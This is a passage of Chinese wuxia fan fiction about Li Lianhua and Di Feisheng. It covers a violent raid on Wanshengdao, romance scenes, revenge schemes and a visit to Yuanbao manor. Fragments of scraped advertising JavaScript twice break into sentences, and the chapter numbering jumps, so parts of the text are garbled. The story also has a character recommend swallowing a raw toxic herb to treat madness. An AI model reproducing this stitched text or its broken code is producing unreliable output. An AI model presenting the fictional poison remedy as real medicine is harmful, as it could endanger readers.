他也清楚,现在一个处置不好,从不在意风评、只在乎排位与李相夷的笛飞声,就真的会屠了万圣道。
“笛盟主误会了。”封磬最后决定,找个绝妙的借口:“我家主人这些日子有走火入魔之相,大家都紧张着,实在无力分心关注江湖事,失礼了。”
他恭恭敬敬行了个礼,手却悄然往后一摆。
361
人群后的心腹立即了然,用最轻盈的步伐蹿进门内寻单孤刀。
是的,南胤秘术颇多,伪装成走火入魔、难以分辨长相的,不止一个。
早在听见赏剑大会上验尸之事时,万圣道内就为他们尊贵的王嗣备好了易容的痋虫。
只是单孤刀嫌服用后太痛苦,又保持不了太久,一时半会不肯去碰。
但事到如今被笛飞声率金鸳盟好手堵在门口,为了以防万一,已经是不服不行了。
362
“走火入魔?”笛飞声冷笑一声:“这与本尊无关,可浮屠三圣至今还在你万圣道中。既然他们占了位置却不愿出门,本尊只好进去了。”
刀光爆闪,迅疾如流星白羽。
刀风凌厉,森然似黑云压城。
封磬看在眼里,脑子里想阻挡时,手还未抬起,锋刃已过身畔。
“噗通。”他直直摔跪下去,激起灰尘铺面,唯一息尚存。
面前一路,畅通无阻。
唯有横七竖八的人悄无声息倒在刚空出的路途两边,仿若命贱蒲草。
363
单孤刀现在还不知道封磬嫡系损失惨重,他正被心向明月的几人围着,七手八脚把痋虫喂下去。
大家状似很团结,还给他身上的衣服来点破洞,顺便拿起刀剑到处划,想要创造一个走火入魔之人该有的住处。
“……”咽下难看痋虫的单孤刀深吸了一口气,心里怒骂为了他的好师弟而出手砸了赏剑大会的笛飞声。
当年李相夷就是和笛飞声相交莫逆,私底下签订和平契约,怎么都不愿依照他的计划,让四顾门成为刀,让他不得不舍弃搭好的框架。
万圣道虽忠心耿耿,但比起当年鼎盛的四顾门,还是相差极大的,他舍弃时颇为心疼。
364
“咣当。”密室外,有巨响和惨叫声此起彼伏。
单孤刀甚至听见了浮屠三圣的呻吟,还有刀剖开喉管时鲜血的迸溅声。
他忍不住打了个寒颤。
昔日极少数瞧见笛飞声时,那人如视蝼蚁的漠然眼神,与手中雪亮而杀意凛然的刀光,仿佛就在眼前。
可那视线瞬间转暖,只因师弟一身红衣跃下屋顶:“笛盟主,住手,休伤我师兄!”
笛飞声勾起的唇角和停下的刀锋,不但没让单孤刀觉得松了口气,反而只觉被羞辱的屈辱感沸反盈天。
365
“不过如此。”随意两三招破了合击,杀死其中之一,剩下两个不但不敢上前,反而分散欲逃,战斗力直线下降,笛飞声再次索然无味。
他任由热血溅在地上,目光扫向极力躲闪的另外一人:“万人册第三,血域无戒魔僧?”
“笛盟主。”被大魔头点了名,血域无戒魔僧强颜欢笑地打了个招呼。
366
所谓血域,是中原附近的一处异域。
但血域的高手,同中原真的关系颇深。
先有十五岁的李相夷战胜血域天魔,成为天下第一高手,再有笛飞声杀血域番僧狂芥子,还把金玉转轮拆了挂他刀上作战利品。
甚至,笛飞声新立金鸳盟后,还特地赶来搜刮过血域。
他以交易为名,强行学走不少秘术充斥新盟,根本就是强盗行径!
367
并不知道来自血域的魔僧在心里诽谤他,笛飞声想想万圣道到底也算李莲花的家臣,还是收刀归鞘了。
反正第一的三人就这个水平,那魔僧就算留在万圣道,也构不成威胁,还不如留下来,以后能给万圣道当个门面。
“不值一提。”他琢磨着未来,大步迈过明明活蹦乱跳但僵如鹌鹑的天下第三,唤齐了压阵的金鸳盟众人,便扬长而去:“走吧。”
368
被迫服了痋虫,等着被起疑心的笛飞声怀疑,单孤刀不可置信地抬头:“?”
这家伙就这么走了?
自己这个万圣道之主可都没出面呐!
他是多不把自己放在眼里啊!!!
但是,单孤刀还是只敢等人彻底走远了,才敢走出密室,抒发被拆家打砸的无能狂怒。
“笛飞声!!!”一声怒吼响起,惊飞了檐下鸟雀。
369
看着被故意砸成废墟的殿堂,单孤刀气得咬牙切齿。
“主上。”封磬面对一堆心腹的尸体,欲哭无泪:“我们不能就这么算了啊!”
单孤刀心烦意乱:“笛飞声已是实质上的天下第一了,谁能对付他?”
少师剑断,无人站出,后又知道首次盗剑被阻是笛飞声所为,始终没李相夷的踪迹,他是真心觉得李相夷已亡于东海,唯笛飞声耿耿于怀。
“笛家堡被笛飞声毁去,业火母痋定然就在他手。”封磬极力思索:“他心高气傲,不会觉得母痋是威胁。那若付出足够的代价,他应该会予以交换。”
他还道:“而且,今日笛飞声只是为浮屠三圣而来。”
显然,笛飞声并不知道,角丽谯雷火炸盟背后的支持者正是他们。
否则以其脾气,万圣道定然已无活人了。
370
单孤刀若有所思:“你说的对。”
等母痋到了手,培育出更多子痋,再加上南胤各种秘术,如修罗草、无心槐等人不知鬼不觉之物,暗算笛飞声并非不可能。
“可是,什么能让笛飞声动容?”单孤刀若有所思。
封磬迟疑道:“看他今日所为,内力挥洒自如,似比十年前又有精进。但以属下判断,笛飞声还是没突破到悲风白杨第八层。”
“何以见得?”单孤刀追问道。
封磬实话实说:“要是他突破到第八层了,应该就不会耿耿于怀,还想同李相夷一战了。”
江湖中人早有收集笛飞声的讯息,悲风白杨每次突破,战斗力比之前都有飞跃。
对天才并无确切所知,封磬只相信自己的判断——
若笛飞声已突破,中碧茶之毒前的李相夷根本不是对手,蹉跎十年后就更不可能再做精进,他何必还要找人回来?
笛飞声只会是还未突破,需要生死一战与垫脚石,才会执着于李相夷。
371
刚安置好被妙手空空救回来的金羚剑董羚,李莲花还没回到二楼,便听见楼上浴桶里的水被迸溅出来的哗啦声。
“花花,你那个叫阿飞的护卫不喜欢走门啊?”妙手空空诧异地抬头。
他站在这里,可没看见有人进大门。
“嗯,对。”李莲花面不改色:“阿飞自有分寸。”
他理直气壮地丢下妙手空空和习以为常的方多病,提着买来的饭菜,上了楼。
“……总觉得不对劲。”妙手空空托着下巴:“花花这是有情况啊。”
他当然不知道,金鸳盟的盟主一手揽过莲花楼主,将人拖进了对两人来说有些狭窄的浴桶中。
相触的唇泯灭大多数暧昧的声响,笛飞声执着于在李莲花身上留下一道道再不是刀疤的痕迹,还要抱怨一下,现在的万人册水的一塌糊涂。
“没什么,别多想就行了。”方多病一脸淡定:“大不了我一个人去元宝山庄。”
他俩不去更好,省得看着就觉得牙酸眼疼。
372
在浴桶里汤足饭饱,李莲花被同样吃饱喝足的笛飞声抱出来的时候,腿完全是软的。
他一沾枕头,就睡了过去,午觉质量非常之好。
笛飞声戴上了面具。
莲花楼主的护卫阿飞下了楼。
373
妙手空空和方多病正在拼酒。
可怜的金羚剑董羚还昏迷着,好在此处离天机山庄比较近,好心的方大少爷让家中仆从熬好了药。
离儿便是这么来的,正一勺勺给人家喂下去。
374
人一多,莲花楼的一层竟有点逼仄。
阿飞面无表情,来到方多病面前,一把拽走了酒壶:“还喝?”
方多病被冷气冻得一哆嗦,老老实实摆出了端坐的姿势,委屈地解释道:“董羚被救走,元宝山庄闭门谢客了,下午不用过去,我才敢在这儿喝酒的。”
375
妙手空空偷走董羚,元宝山庄有所骚动。
天机山庄又刚好知晓莲花楼停在了附近,怎么会不怀疑呢?
展云飞特意来了一趟,问清了原委,又给董羚把个脉,便飘然而去。
再来就是离儿带了药
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,又为方多病备好了一桌美酒佳肴。
376
对于神偷是怎么和李莲花为友的,方大少爷好奇的很,自然就请妙手空空入了席。
结果,被阿飞撞个正着。
377
“出去练剑。”笛飞声觉得,比起浮屠三圣,方多病的资质、根骨、心性都可堪一赞,不愧是被李相夷鼓励过的。
方多病苦着脸,被揪了出去。
378
被无视的妙手空空有一种感觉。
留下来,他能知道更多。
但若离开,则重归平静。
379
“花花……”妙手空空迟疑了。
他又想到自己随便找地方偷个东西,却瞧见有人倒在地上发抖的那日。
李莲花只说是旧疾,但妙手空空看得出来,那是中毒。
可那等可怕的脉象,他自知最好不要追究,不然知道太多,绝对危险。
但是,李莲花真的是个很好很好的人。
所以原本只是巧合相助,他们却渐渐成了朋友。
380
“你不走?”瞧着追出来的妙手空空,笛飞声真的有些意外了。
李莲花与妙手空空的相识,他如今已查到来龙去脉。
本是萍水相逢,偏偏神偷有颗善心。
李莲花承情,笛飞声便也愿意让金鸳盟看着点,保妙手空空衣食无忧。
但若他若想搀和,这身后没有背景,本身实力平常,会不会无声无息地消失,纵然是李相夷、笛飞声,也不敢打包票啊。
381
“他是朋友。”妙手空空叹了口气。
然后,他一语中的:“花花一直在找个金鸳盟的人,上次问了还瞪我,就是你吧?你俩看着像是契兄弟,是闹矛盾分开了吗?”
“噗通。”刚被撂倒的方多病正欲站起,就被这直白的问话惊得膝盖一抖,又倒地了。
382
笛飞声想了想,很实在地回道:“当年不是,你问的时候也还不是,是后来才在一起的。”
“就是说,最近才结契的?”妙手空空恍然大悟,嘀嘀咕咕道:“也不叫我喝一杯喜酒,连喜糖都没有。”
笛飞声沉默了一下,郑重道:“聘礼已送到他师门了,婚仪以后会补。”
“啪。”方多病一把捂住脸,蹲在地上不起来了。
383
“!”李莲花猛地睁开了眼睛,被褥里的腰背疼痛中拱起:“唔……”
虽然前世就知道悲风白杨的心法口诀,他也还是没有提前练,就等着笛飞声主动。
果不其然,洞房花烛那一日,笛飞声就一边道明口诀,一边亲自引领内力在体内经脉中流动,确保李莲花能修成第一层。
事实上也确实成功了,与前世笛飞声在婚房中被他指导着修练扬州慢一样。
碧茶之毒因此被镇压地更稳定,李莲花也更加轻松自如。
倒是笛飞声总小心翼翼,哪怕配合他的各种玩法,都尽可能浅尝辄止。最初洞房那一夜,他甚至连缚在自己身上的红绸都没有扯断过。
如今,李莲花好些日子没碧茶发作了,直到今日。
384
“嘭。”床头柜上的杯盏,在床榻晃动时坠落了。
我这次好像是被百川院太不争气气得?
李莲花攥紧被褥,恍惚间想到了睡前听见笛飞声诉说,觉得万圣道这么拉了,百川院还是十年没有发觉暗潮涌动,当时就心头发哽。
385
他越想越委屈,睡觉前对自己千叮咛万嘱咐别生气的恼火又溢了上来。
之前命令万圣道的暗子,想方设法劝说单孤刀、封磬查探笛家堡,而不是暗杀石水、暗算阿娩,就已经尽心尽力了。
可是百川院呢,怎么就不能让自己省点心?
上辈子少师剑失窃,是他下地道救阿娩找回来。
这辈子事情发生了,都不知道查一下原因吗?
你们好歹把地道封了啊,居然又被利用,让单孤刀能断了少师剑!
386
“石水……”李莲花低吟一声:“不行,我要把她找回来。”
这丫头是细心的,如果她之前在百川院,至少应该能发现地道的问题。
我早就该这么干了,把养尊处优的佛彼白踹下去,换个愿意听我话的。
387
“毒发了?”李莲花最委屈的时候,听见杯盏摔碎动静的笛飞声直接从窗户跃了进来。
妙手空空与方多病迟了一步,是老老实实上楼的。
他们只见阿飞环住李莲花,手心搭上后背。
站在旁边都能察觉到暴戾的内力,在他掌中和顺地吞吐着,缓缓注入浑身发抖、流出冷汗的人体内。
当然啦,这些都没有李莲花脖颈上一个个明晃晃的吻痕与牙印更引人注目。
388
“咳,我下去熬药。”妙手空空尴尬地挠头出去了。
方多病一声不吭,紧随其后。
他们下楼的时候,还能听见小情侣的说话声。
“阿飞,好疼啊。”
“我说过了,让你别想。”
“可我忍不住想,你说他们怎么那么那么……”
“你十年前的眼光,真的差劲。”
“嘿,你就不能说句好听的?”
“那……以后金鸳盟都听你的?”
“……笛盟主,你还是什么都别说了。”
389
妙手空空忽然停下脚步。
“笛盟主?”他一双大眼睛瞪得更大了:“那花花……”
似是明白了什么,妙手空空扭头想上去。
方多病挡在他面前,摇了摇头:“无解。”
“……碧茶。”妙手空空深吸了一口气。
原本事不关己,现在却落在了朋友头上,他光是想一想,都觉得窒息。
“太便宜云彼丘了,就废个武功算什么?!”不止一次见识过李莲花毒发时的痛苦,妙手空空气不打一处来:“怎么不给他也灌一杯?”
他甚至都忘记追问,李相夷和笛飞声这对十年前的对头,如今是怎么混到一起的。
390
方多病实话实说:“悲风白杨配合扬州慢,能暂时压制碧茶之毒。我天机山庄与金鸳盟,正到处找忘川花。”
“十年前旧事也在查,还要防备不知道在哪的单孤刀。”天机山庄少主的语气冷淡极了:“事情太多,抽不出多少心力,去和叛徒纠缠。”
但他显然没打算将事情翻过:“以后就不一定了,我师父心肠好,就算被兄弟情谊伤透心,都不忍心下杀手,可不就要徒弟代为出手嘛。”
“说得好,我支持你!”妙手空空重重拍了拍他的肩膀:“花花以后要是给那混账玩意求情,我就帮你去叫笛盟主过来!”
方多病终于笑出了声:“那就说好了啊!不过,虽然你是师父的朋友,但我们各论各的哦!”
他与妙手空空击掌为誓,将此事定了下来。
16. 【笛花】重生玉城时15
391
暂时不用去元宝山庄,李莲花就拜托妙手空空带着方多病,把金羚剑董羚秘密转移。
是夜,两人未归。
392
“确定他们俩都去了?”李莲花、笛飞声与展云飞一起喝酒。
面前跪着个人,他抬头露出一张和封磬有些相似的脸时,笛飞声并不意外。
“是,属下前来时,方少爷和妙手空空正夜探万圣道。”封家堂弟还夸了一句:“方少爷的婆娑步用的很好。”
单孤刀不知所踪,笛飞声却为了排位专门踹了万圣道的大门。
方多病回天机山庄,越想就越觉得不对劲。
刚巧妙手空空也在,两人一不做二不休,仗着轻功都不错,趁夜联手去查探了。
393
殊不知,这全在李莲花预料之中。
“阿飞,浮屠三圣你只杀了一个,但今晚剩下两个应该也活不成了。”他举杯,倾倒了两杯酒。
展云飞若有所思,没有出声。
“这么有把握?”笛飞声倒是开了口。
李莲花含笑点头:“婆娑步用于夜探,你不是早有体会吗?”
他以前可喜欢用婆娑步晚上漫逛金鸳盟,只让守卫看见衣角,急得团团转了。
可惜,老笛为了不让金鸳盟的人被自己溜成无头苍蝇,逼着自己答应从开通已久的小道走,不然他就要天天持刀去逛四顾门。
394
“小宝正好会撞上活着的单孤刀。”李莲花笑叹摇头。
今夜之后,单孤刀如果想从方小宝入手挑拨离间,就绝对不可能了。
甚至,方小宝的脾气看见亲爹还活着,再联想到碧茶之毒、云彼丘和角丽谯,能气得咬牙切齿。
这个时候,他再被自己安排好的暗子,引到浮屠二圣的房间附近,被他们发现,不想杀都只能杀了。
395
“有杀气。”展云飞忽然插话。
他有点惊奇,瞧向李莲花道:“浮屠三圣得罪过你?”
李莲花笑而不语,持默认态度。
396
有些仇,隔世也难忘记。
如果回到前世,哪怕他不想活,若知晓老笛为了忘川花受了多大屈辱,都不会将花拱手让人。
可惜,自己明明看见他被挑断手脚筋废了武功关在牢里,却顾忌着不想踩他痛脚,没有追问来龙去脉!
反倒是逆转时空时,他才从护着自己越过罡风的魂魄中,瞧见了恍如隔世的久远记忆。
397
于是,这一生,间接令阿飞不得不跪倒的浮屠三圣怕死,他就一定要他们去死!
剩下的,角丽谯必须活着,而她最在意对笛飞声的情谊,那磨灭她视为珍宝的爱意,就是最大的折磨与否定,等于毁掉角丽谯的人格。
单孤刀,师兄想要名利,想把自己踩在脚下,他就反其道而行,保证师兄活得长长久久,见证他君临天下、爱侣在侧、世人皆赞,自身却只受讥讽冷眼,一生一世屈辱求生!
398
或许南胤的血脉本就难逃疯狂,李莲花面上笑容依旧,甚至更温柔了一点。
不要急。他微笑着,在心里提醒自己。
前世,十年前一剑平江湖纷乱,十年后孤身守天下太平。
如今可是既有实力,又有时间,还有伴侣,又有什么值得畏惧?
399
咳,还是有害怕之物的。
“阿飞,元宝山庄一行结束,我们就回云隐山一趟吧。”李莲花一个激灵,突然就想跟师父汇报一下对师兄处置了。
哦,一定是师父在催了。
但是没关系,我素来会撒娇,现在也不例外。
李莲花自信地想,师父一定会支持自己给师兄这个不孝徒弟的大惊喜吧?
400
芩婆并不这么认为。
“单孤刀害死木山,勾结角丽谯给相夷下碧茶之毒?”她收下聘礼后,从青尊两仪口中套出真相,活生生气笑了:“他还以为自己是南胤人?相夷倒是想一个人扛着所有,包括复国给你们南胤人另寻生路?!”
奉命来拜见芩婆的四象青尊暗暗叫苦。
“您误会了。”但作为南胤贵族之后,他还是知道轻重的:“大多数族人活得还不错,只是野心家不肯死心。”
401
自从李门主私下接触万圣道,命令暗子叫停南胤各种痋虫实验,又用万圣道的路径渐渐接触朝堂,某些事便浮上水面了。
青尊最近负责的事务,除了皇后礼服,就是筛选万圣道里偏向李门主的南胤族人。
他配合着无颜,将族人们编入情报网,确保万圣道一举一动都脱不了金鸳盟的眼睛,顺便听从李门主的指令,查一下多年旧事。
402
“你不必掩饰。”芩婆淡淡道:“我徒弟我了解,若非有不可言说的理由,纵然知晓了身世,相夷也不会想要取代目前的皇帝。你有话,便直说吧。”
四象青尊叹了口气:“前辈,李门主收拢部分万圣道人之后,让我们查了旧事,发觉……当年李家灭门,就有皇室的手笔。”
“难怪……”芩婆浑身一震,面皮微颤,突然就松弛下来,瞬间老了好几岁:“他还是知道了。”
四象青尊大吃一惊:“您早就知道?!”
“李家救过先夫性命,又不是不会武功的普通人家,哪方山匪能灭掉他们满门?”芩婆苦笑一声:“但孩子太小,血仇太重,哪里舍得让他太累,好歹及冠后再说吧。”
结果,及冠之年,相夷陨落于东海一战。
403
“原来如此。”四象青尊认真解释道:“目前查出来虽有皇室的手笔,但现任皇帝与公主确实毫不知情,反倒是效忠皇室的势力擅作主张。”
啧,李门主十年真的没有白干,查到了皇室自己都不知道的、结生死玉而世代为官的刘家身上。
谁能想到极乐塔的真相,谁能料到盈妃留下的暗子?倒是小瞧了他们的忠心,哪怕皇室一无所知,刘家也连续三代追杀着芳玑太子与龙萱公主的后代。
不过也难怪,因为生死玉和极乐塔,刘家虽为官,但始终做不成高官,还要代代守着个让人不得安寝的秘密。
正巧,真正的大熙皇室血脉,除了开国前几代的宗室流传下来、已出五服、几乎沦为庶民之人,剩余的嫡系便只剩下隐于江湖的李家。
前者易查易拿捏,也因离皇室远了,不敢滋生野心。
后者有一定实力,又知晓身世,万一哪一代有心一争而翻出旧事怎么办?
于刘家而言,与其每每担惊受怕,不如赶尽杀绝、一劳永逸。
而单孤刀的自以为是,对李门主也不是没有好处。
至少,封家同刘家在彼此遮掩的情况下过招好几次,误打误撞挡了灾。
404
“那就好。”芩婆温声道:“那个势力,现在还在吗?”
四象青尊无辜地眨了眨眼睛:“当然是不在了。”
封磬不知情,但找了王嗣百年的封家投靠李门主的那些人可都气疯了,连禀报都来不及,当场就出动高手把刘家全灭了。
皇帝最近可头疼死了,独女出个宫被人掳走至今没找到,麾下臣子被灭了满门却找不到凶手。
哈哈哈,监察司加班加点查案,线索全无。
偏偏杨昀春最近请了长假,正到处找石水院主,逼得轩辕萧不得不亲自出马,笑死个人了。
405
“若是如此,我便能理解相夷的决定。”芩婆释然叹道:“皇室麾下自作主张灭了李家,你们反手杀绝他们。一来二去,仇恨已结,相夷身世又不可能永远瞒着,与其日后生死掌于人手,不如早做打算。”
虽然这不太符合相夷一贯的作风,但既有李家灭门旧事与单孤刀恶行在先,她便不欲深究。
左右,孩子长大了,知道自保为上,多给自己备点后手以应对风浪,是好事儿。
至于最后要不要拨乱反正,芩婆由衷地想,只要相夷过得开心就行。
反正看金鸳盟这笛盟主大箱小箱悄然运至的聘礼,那孩子想必也不会寂寞了。
406
李莲花接到师娘回信,握着酒葫芦柔和轻笑时,浮屠三圣头七都过了。
这几日,方小宝一脸见鬼的表情,显而易见是心事重重。
笛飞声难得想笑。
但见展云飞、李莲花都故作不知,也就没有提点他。
407
借口问金羚剑董羚发生了什么,方多病回天机山庄一趟后,再来便是想通了的样子,卸下了一脸重担如释重负的表情。
“师父!”他一脸开朗地笑道:“元宝山庄今日重新开门了。”
见状,李莲花对此倒是并不意外。
这辈子,方小宝知道真相很早,又亲眼看见很多事,自己还倾囊相授,什么道理都掰开了教他。
在感情上,他对单孤刀理应没有多少犹豫。
那并不多的一点点,也只是为了父子纲常。
这小子神思不属,更多是怕自己会伤心。但他既然不肯直接告诉我,就肯定会告诉另外一人。
“哼。”笛飞声感受到了李莲花的眼神,便回了一个肯定的、含笑的视线与轻哼。
他笑得实在好看。李莲花忍不住凑过去,亲了亲修长的眼睫毛。
498
“金员外又满天下地找神医了,但还是不说治什么病。”方多病习以为常地无视了这个吻,继续阳光灿烂道:“我们不如现在就去吧!”
莲花楼主轻轻挣脱护卫阿飞的怀抱,站直了身体,心中了然。
没有角丽谯,万圣道也还是得找天冰。
金羚剑董羚被人救走,没了除金满堂的趁手工具,想取走天冰,就只能加快节奏。
那么,这位金员外这几日,恐怕是遇上了更难对付的威胁,在逼迫他交出天冰。
499
在元宝山庄外寒暄一二,三人便随着管家金常宝入了山庄。
李莲花犹记前世所见,此生再看,倒是不同心境了。
他还如那次那般赞道:“常闻金满堂金员外藏宝无数,常年居万人册江湖富豪榜前十,今日得见,果然名不虚传啊。”
“哈哈。”金常宝笑道:“谬赞了。”
500
护卫阿飞看了一眼莲花楼主,又想起他前些日子问四象青尊那句话:“尔四家独享南胤复国财富而不听南胤指令,可曾想过日后龙萱公主后人找来,叛徒会落得什么下场?”
那时,熟知南胤秘术,至今都还和南胤族地颇有联系,却仍然不曾去找芳玑太子与龙萱公主之后的四象青尊苦笑一声,伏地而拜:“自是弱肉强食,就像现在这样,但凭殿下发落。”
'');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
>‘莲花脾气还挺好的,看在我的面子上,甚至没用南胤痋虫秘术控制住青尊。’偏心眼的金鸳盟盟主理所当然想着,紧随李莲花入了室。
501
他却不知,李莲花确实是故意放了四象青尊一马。
无他,金鸳盟成立之初就立意称霸海运,此项利润大,然不论是海船制造还是水手招募、训练,开销都极大。
三王无颜最初跟随笛飞声,阎王寻命、炎帝白王皆非身家富贵之辈,无颜主管情报网本就有花销,这最初的钱自然是四象青尊一手所掏。
换而言之,四象青尊欠的债,已变成了笛皇后的嫁妆,不能重复剥削。
502
“哎你别跑。”他们刚刚进门,就听见一个熟悉的声音唤道。
一个山庄家丁一脸苦相,躲在了金常宝背后。
“关侠医。”金常宝打了个招呼:“苏姑娘。”
李莲花看了一眼,便明白了过来。
与前世不同,此生有赏剑大会上老笛当众叫过苏小慵之事,最近又因万人册屡次变动,关河梦不放心苏小慵,就又陪着过来了。
一样的,则是苏小慵还对艾灸恋恋不舍,正试图给那个脾胃虚寒的家丁再灸一灸,搞得关河梦一脸无奈。
“哇,李大哥!”苏小慵忙把艾草棒往身后一藏,摆出个乖巧的笑脸。
关河梦也拱拱手,行了个礼。
“关兄,苏姑娘,又见面了。”李莲花含笑垂眸。
金常宝有点讶异:“原来李神医认识关侠医和苏姑娘啊。”
“赏剑大会前一面之缘,刚巧一见如故。”李莲花微微一笑:“哦,另外一个也认识。”
503
与前世有点自傲不同,公羊无门瞧了瞧一言不发的护卫阿飞,忍不住缩了缩脖子,露出一个略显僵硬的笑:“是啊,许久不见了,李神医。”
角丽谯被收拾地很早,这辈子的公羊无门仍是金鸳盟门人。
作为边缘人士,他认得出盟主但不熟悉,却还记得曾在盟中远远见过这位同药魔有些交情的神医。
可这到底出了何事,值得尊上乔装打扮成神医的护卫进入元宝山庄?
总不可能跟自己几人一样,纯粹是好奇泊蓝人头才来的吧。
504
让李莲花有些意外的是,这辈子公羊无门没想出手悬丝把脉,方多病又一幅开朗、非是哑巴的样子,倒是让鬼愁医手简凌潇盯上了自己。
好笑的是,到底是医者,判断还真的差不多。
“李神医,医者虽不自医,但好歹该对自己上点心啊。”简凌潇摇了摇头:“看你面色青白,呼吸气弱,料想这腑脏之内必有气阻……”
比上次莲花楼相见沉默不少的关河梦,却忽然出言阻断了他:“好了,简兄,人人都有难言之隐,你何必为难李兄?”
他一拂袖,对前方已走进来的金满堂抱了抱拳:“人已到期,金员外也该说说,你广招名医究竟是为何事了。”
504
“哈哈哈哈,诸位名医神医欢聚一堂,我元宝山庄真乃蓬荜生辉啊。”金满堂客气了一句,就开始大诉苦水:“实不相瞒,在下请诸位前来,确实另有他事相求,这是我一个月以来陆续收到的信。”
待大家入座看了信,他却看向方多病道:“方少庄主,元宝山庄离你天机山庄很近,此番多亏了何堂主派人援助,然信还是无孔不入。”
方多病怔了一下,立即明白了过来。
他在赏剑大会出了那么大的风头,两庄又相隔不远,难怪会被认出来。
而母亲行事老道,既然要为自己遮掩,不让金羚剑董羚在天机山庄的事情暴露,最好的办法自然是打着近邻的名义,相助元宝山庄一二。
505
“金员外客气。”方多病便礼貌地说道:“我同莲花楼主是好友,在街上瞧见你元宝山庄的求医榜,想着反正没事,就陪他一块儿来了。”
金满堂目光一闪,点头道:“不论如何,还是得请方少侠转告何堂主,多谢天机山庄援手。”
“好说。”方多病拱拱手。
金满堂这才满意道:“金某一番追查毫无头绪,这钱财乃是身外之物,对我金某人而言,也并非那么重要。只是祖上传下的这些家业,我又岂能拱手让给那些贼人呢?”
‘哼,这话他可真好意思出口。’李莲花垂下眸,也不细看,随手就捻起盘子里的一块糕点。
前世不知道就算了,现在的他可是很清楚,金满堂这所谓祖宗家业,不过是金玉黄权拿了复国钱财,私自享用了三代。
“啪。”糕点突然落了下去,李莲花微微一怔。
大家的眼神也都被这轻响引动。
“主人,你花生过敏。”护卫阿飞扶了扶脸上的戴着面具,眉毛轻挑:“不能吃花生糕。”
公羊无门腿脚一抖,不自觉打了个寒颤,险些尴尬到从椅子上跳起来。
“这是花生的?”李莲花把糕点重新拿起闻了闻,幽幽看了他一眼,微笑道:“还真是的,刚才忘记仔细看,幸好阿飞你帮我看着呢。”
他再次放下糕点,对着拱手道歉的金满堂回了个礼:“阿飞太在意我的安危,倒是打扰金员外了,还请继续说。”
被打断激情演讲的金满堂尴尬一笑,说来说去,就算此生没宗政明珠捣乱,也还是被李莲花掌控局势,让方多病为他设下了千铃阵。
17.【笛花】重生玉城时16
席散,众人回了自己房间。
“啧。”看了看形影不离的李莲花、笛飞声,方多病一脸我懂的表情。
他抬起脚从旁边走过去,打算入师父师娘隔壁的那个院落住。
“李神医。”未曾想到的是,关河梦与苏小慵前来拜访了。
关河梦更是拱了拱手:“李前辈,上一回是我孤陋寡闻,实在抱歉了。”
“关侠医客气。”见他这般这种态度,李莲花还有什么不明白的呢。
他倒是看了一眼没听懂的笛飞声,莞尔一笑,便招呼大家都进入屋内。
前段日子赏剑大会,因比前世拖延些许日子,关河梦与苏小慵就一起凑了个热闹。
大会之前,他们在普渡寺隔壁山的林子里,见到停下的莲花楼,也就与李莲花提前认识了。
李莲花还记得前世那场不欢而散,好在今生有所改变。
这次的苏小慵虽然好像还是对自己一见钟情,但关河梦初次见面,是真的只是想讨教一下医术:“李前辈,在下有一事讨教。”
“我有一位病人,因中毒疯癫,自言日见鬼魅,心悸怔中,夜不能寐,而后持刀杀人,十分狂躁。”他拿出了这个困扰他的难题问自己:“我用药数日,银针刺穴,却久不见效。”
李莲花给了他同样的答案:“病人若是武林中人,内力不弱的话,可试过取新鲜虎掌加以处理,继而服下。”
“虎掌乃剧毒,未经炮制岂可轻易服用?”关河梦当然不赞同了:“这无疑是以内力修为,与剧毒博一次性命,是在杀人。”
李莲花轻笑一声:“以毒攻毒罢了,若想清醒一点呢,不妨去搏一搏。若是内力不足的话,那么我建议,可以药汤泡过之后再用。虽然虎掌有剧毒,却能延迟或缩短疯癫发作的时间。”
想到那十年的挣扎,再看关河梦还想质问‘治病救人,若无十分把握岂可轻言,你如何保证病人服下虎掌之后不被毒死’,他陈恳地补充了那句原本不愿告诉小辈们的话:“清醒着死,是一个人最大的尊严!”
关河梦愣在那里,前世不知真相而指责李莲花草菅人命的话,自然就没有出口了。
苏小慵帮腔道:“关大哥,再说嘛,只要有人以至纯内力化解毒性,就不会有性命之忧。”
“可是……”他怔忪片刻,才凝眸道:“这天下有几人有这种功力?至纯内力非扬州慢莫属,自剑神李相夷东海一战失踪,再无人有了。”
关河梦长叹一声:“这以命试毒的法子太难掌握,强用堪称残忍恶毒。我且寄信于他,让他自行判断吧。”
“关兄,此等生死大事,确实得你的病人自行拿主意。”李莲花端起茶盏:“但你可以信上再提一句,让他记得找最在意之人相商。”
千万别像我,决定一个人孤零零死去时,明明想的最多的就是笛飞声,却不敢去见,平白酿成了巨大遗憾与无尽后患。
“谢李前辈指点。”关河梦拱了拱手,现场就借了纸笔。
李莲花敢肯定,自己当时虽那样说了,但莲花楼主名声在外,又面对这等疑难杂症也可另辟蹊径,关河梦定然不会以为他早已沦落到需要亲自以身试毒才能保持清醒的境地。
但是很显然,笛飞声在赏剑大会上的重刀出击,机缘巧合给了关河梦一些提示。
果不其然,眼光极佳、一见钟情的苏小慵一进屋,只顾着欣赏李莲花,但是关河梦的视线,分明凝聚在了站于李莲花身后的护卫阿飞身上。
“李大哥,你气色看上去好了不少。”苏小慵真心真意地笑道:“让关大哥给你把个脉吧。”
关河梦回过神,轻轻点了点头:“前辈请。”
“你啊。”李莲花回眸,指尖点了点仍然一无所觉的阿飞:“招摇!”
正有点不爽苏小慵对李莲花的心思,笛飞声抱臂站着呢,被点得一愣:“啊?”
“哼。”李莲花哼笑一声,扭回头,把手放在了桌案上。
方多病看出了点内情,饶有兴趣看着这一幕。
“比之前是好了一些。”关河梦唇角有了淡淡的笑意。
他甚至有些戏谑,却又暗藏了些许关切,问道:“用的法子,应当不是前辈之前信誓旦旦所说,取新鲜虎掌加以处理,也可药汤泡过之后再服下吧?”
以毒攻毒,与剧毒搏命,何其痛苦?
非心志坚定善忍者,不可为之。
“什么?”那日见李莲花结识新友,稍稍避开了一点没有全程偷听,笛飞声立刻瞪了过去。
但他眸中,分明是心疼的。
笛飞声甚至不敢想,李莲花一个人度过的那十年,以命搏命熬过毒发,究竟发生了多少次。
关河梦倒是不害怕,他只在李莲花没好气地瞪视下,耐心解释了一句:“前辈上次曾言,清醒着死,是一个人最大的尊严。”
“十年,我当然试过逼毒。”在笛飞声更加冒火的眼神里,李莲花缩了缩头,还有点小委屈:“我也不可能让自己疯癫发作出去伤人啊。”
苏小慵后知后觉:“啊?李大哥你中了毒?什么毒啊,关大哥能解决吗?”
